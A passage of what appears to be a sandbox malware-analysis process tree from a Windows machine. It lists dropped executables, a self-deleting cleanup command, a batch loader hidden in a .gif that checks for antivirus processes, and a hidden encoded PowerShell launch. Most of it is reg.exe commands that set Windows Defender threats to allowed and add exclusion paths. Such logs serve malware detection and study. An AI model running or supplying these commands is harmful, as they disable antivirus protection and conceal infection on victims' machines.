  "C:\Users\Admin\Documents\ilJcChbIYQsMi5m9zVwraY8F.exe"
  2⤵
  - Executes dropped EXE
  - Checks computer location settings
  PID:3084
- C:\Users\Admin\Documents\zYfBDD7FnG7SiHgGVeMhra1_.exe
  "C:\Users\Admin\Documents\zYfBDD7FnG7SiHgGVeMhra1_.exe"
  2⤵
  PID:1280
- C:\Users\Admin\Documents\yNJqt_R1AwRD5c2XIapmQhuE.exe
  "C:\Users\Admin\Documents\yNJqt_R1AwRD5c2XIapmQhuE.exe"
  2⤵
  - Executes dropped EXE
  PID:4804
- C:\Users\Admin\Documents\FNVMO9p508RYb3s8DjzFVCxj.exe
  "C:\Users\Admin\Documents\FNVMO9p508RYb3s8DjzFVCxj.exe"
  2⤵
  - Executes dropped EXE
  - Checks computer location settings
  - Suspicious use of AdjustPrivilegeToken
  PID:1484
- C:\Users\Admin\Documents\tvxuvr2GSyJNe8El3APETynA.exe
  "C:\Users\Admin\Documents\tvxuvr2GSyJNe8El3APETynA.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious use of AdjustPrivilegeToken
  PID:3556
- C:\Users\Admin\Documents\BgaiSDAxaCZitxU3bJduFNb_.exe
  "C:\Users\Admin\Documents\BgaiSDAxaCZitxU3bJduFNb_.exe"
  2⤵
  - Executes dropped EXE
  - Checks computer location settings
  - Loads dropped DLL
  - Checks processor information in registry
  PID:2752
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c taskkill /im BgaiSDAxaCZitxU3bJduFNb_.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\Documents\BgaiSDAxaCZitxU3bJduFNb_.exe" & del C:\ProgramData\*.dll & exit
    3⤵
    PID:1696
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /im BgaiSDAxaCZitxU3bJduFNb_.exe /f
      4⤵
      Executes dropped EXE
      Checks BIOS information in registry
      Suspicious use of SetThreadContext
      Kills process with taskkill
      PID:4044
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 6
      4⤵
      Delays execution with timeout.exe
      PID:4912

C:\Users\Admin\AppData\Local\Temp\7zSC8A2AF6D\jobiea_1.exe
jobiea_1.exe
1⤵
- Executes dropped EXE
PID:4392
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 4392 -s 1600
  2⤵
  - Program crash
  PID:3216

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 3492 -ip 3492
1⤵
PID:4704

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 508 -p 4392 -ip 4392
1⤵
PID:4928

C:\Users\Admin\Documents\Ki7XQppENQqJ2YuBUymmE8Or.exe
C:\Users\Admin\Documents\Ki7XQppENQqJ2YuBUymmE8Or.exe
1⤵
- Executes dropped EXE
PID:4328

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 564 -p 3912 -ip 3912
1⤵
PID:4404

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 4300 -ip 4300
1⤵
PID:2428

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 472 -p 4776 -ip 4776
1⤵
PID:4176

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4300 -s 440
1⤵
- Program crash
PID:448

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c cmd < Affaticato.gif
1⤵
PID:4012
- C:\Windows\SysWOW64\cmd.exe
  cmd
  2⤵
  PID:3444
- - C:\Windows\SysWOW64\tasklist.exe
    tasklist /FI "imagename eq BullGuardCore.exe"
    3⤵
    - Enumerates processes with tasklist
    PID:1708
- - C:\Windows\SysWOW64\find.exe
    find /I /N "bullguardcore.exe"
    3⤵
    PID:2392
- - C:\Windows\SysWOW64\find.exe
    find /I /N "psuaservice.exe"
    3⤵
    PID:4688
- - C:\Windows\SysWOW64\tasklist.exe
    tasklist /FI "imagename eq PSUAService.exe"
    3⤵
    - Enumerates processes with tasklist
    PID:3376
- - C:\Windows\SysWOW64\findstr.exe
    findstr /V /R "^uEDzPzHFCdzewXWMRhXuwzGNjMXXrsYuMnTuDfFnaaWMxrxJAnNdPOrNYPircJBlshdCrQoBHnNIvTzoshbFDH$" Koubbeh.gif
    3⤵
    PID:3600
- - C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Accostarmi.exe.pif
    Accostarmi.exe.pif N
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of SetThreadContext
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SendNotifyMessage
    PID:868
  - - C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Accostarmi.exe.pif
      C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Accostarmi.exe.pif
      4⤵
      Executes dropped EXE
      PID:3916

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3912 -s 432
1⤵
- Program crash
PID:3296

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 516 -p 4072 -ip 4072
1⤵
PID:1892

C:\Users\Admin\Documents\Ki7XQppENQqJ2YuBUymmE8Or.exe
C:\Users\Admin\Documents\Ki7XQppENQqJ2YuBUymmE8Or.exe
1⤵
- Executes dropped EXE
PID:3756

C:\Users\Admin\AppData\Local\Temp\737b90e3-b6e3-4263-8be3-03085c24b26e.exe
"C:\Users\Admin\AppData\Local\Temp\737b90e3-b6e3-4263-8be3-03085c24b26e.exe"
1⤵
- Executes dropped EXE
- Checks processor information in registry
PID:1296

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 544 -p 4176 -ip 4176
1⤵
PID:4704

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 388 -p 3912 -ip 3912
1⤵
PID:4392

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 596 -p 4072 -ip 4072
1⤵
PID:3528

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 612 -p 4300 -ip 4300
1⤵
PID:4596

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 544 -p 4776 -ip 4776
1⤵
PID:4064

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 604 -p 4776 -ip 4776
1⤵
PID:2764

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 648 -p 3120 -ip 3120
1⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Suspicious use of SetThreadContext
PID:3372

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 636 -p 4776 -ip 4776
1⤵
PID:2756

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 636 -p 4960 -ip 4960
1⤵
PID:2700

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 472 -p 4460 -ip 4460
1⤵
PID:432

C:\Windows\SysWOW64\xqpksxp\ulmoqhwp.exe
C:\Windows\SysWOW64\xqpksxp\ulmoqhwp.exe /d"C:\Users\Admin\Documents\yMDamSKSiouG79_U94ch4vmJ.exe"
1⤵
PID:1252
- C:\Windows\SysWOW64\svchost.exe
  svchost.exe
  2⤵
  PID:1968
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 1252 -s 552
  2⤵
  - Program crash
  PID:4212

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 468 -p 4776 -ip 4776
1⤵
PID:1416

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 644 -p 4776 -ip 4776
1⤵
PID:4292

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 516 -p 1252 -ip 1252
1⤵
PID:1288

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 644 -p 4776 -ip 4776
1⤵
PID:1412

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 580 -p 4776 -ip 4776
1⤵
PID:2764

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 516 -p 4776 -ip 4776
1⤵
PID:4732

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 3120 -ip 3120
1⤵
PID:2004

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 476 -p 3120 -ip 3120
1⤵
PID:2400

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 520 -p 3120 -ip 3120
1⤵
PID:1820

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
1⤵
PID:1188
- C:\Windows\system32\gpupdate.exe
  "C:\Windows\system32\gpupdate.exe" /force
  2⤵
  PID:1452

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
1⤵
PID:3620

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
1⤵
PID:1936

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:660

C:\Users\Admin\AppData\Local\Temp\uOvKJyFirsYYYLVYA\GHoNhggtAPCruoj\lOzOcng.exe
C:\Users\Admin\AppData\Local\Temp\uOvKJyFirsYYYLVYA\GHoNhggtAPCruoj\lOzOcng.exe j6 /site_id 525403 /S
1⤵
- Executes dropped EXE
- Drops file in System32 directory
PID:4832
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;"
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  PID:4216
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:940
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
      4⤵
      PID:1708
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:1800
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:2196
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:4316
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:2368
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:4792
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:4684
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:1248
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:4364
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:1804
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:2400
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:2792
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:920
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:3096
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:4940
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:4320
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:4380
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:3680
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:5028
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:4300
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:4372
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:1332
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:4236
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:3164
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\QMuGxDzxU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\QMuGxDzxU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\YhmfbgEUeceU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\YhmfbgEUeceU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\cKaYGDvIdbsNnMDfsrR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\cKaYGDvIdbsNnMDfsrR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\iTBLcazoBHNRC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\iTBLcazoBHNRC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\rYNYBiCjmUUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\rYNYBiCjmUUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\hnkumIqTRwUxQLVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\hnkumIqTRwUxQLVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\uOvKJyFirsYYYLVYA\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\uOvKJyFirsYYYLVYA\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\RHdUtmclRPrQNqWD\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\RHdUtmclRPrQNqWD\" /t REG_DWORD /d 0 /reg:64;"
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  PID:764
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\QMuGxDzxU" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:1836
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\QMuGxDzxU" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:3976
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\QMuGxDzxU" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:4980
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\YhmfbgEUeceU2" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:2072
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\YhmfbgEUeceU2" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:2580
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\cKaYGDvIdbsNnMDfsrR" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:2596
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\cKaYGDvIdbsNnMDfsrR" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:3972
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\iTBLcazoBHNRC" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:2396
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\iTBLcazoBHNRC" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:1908
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\rYNYBiCjmUUn" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:3104
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\rYNYBiCjmUUn" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:3848
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\hnkumIqTRwUxQLVB /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:4964
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\hnkumIqTRwUxQLVB /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:3828
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\uOvKJyFirsYYYLVYA /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:4856
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\uOvKJyFirsYYYLVYA /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:3268
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\RHdUtmclRPrQNqWD /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:1268
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\RHdUtmclRPrQNqWD /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:4620
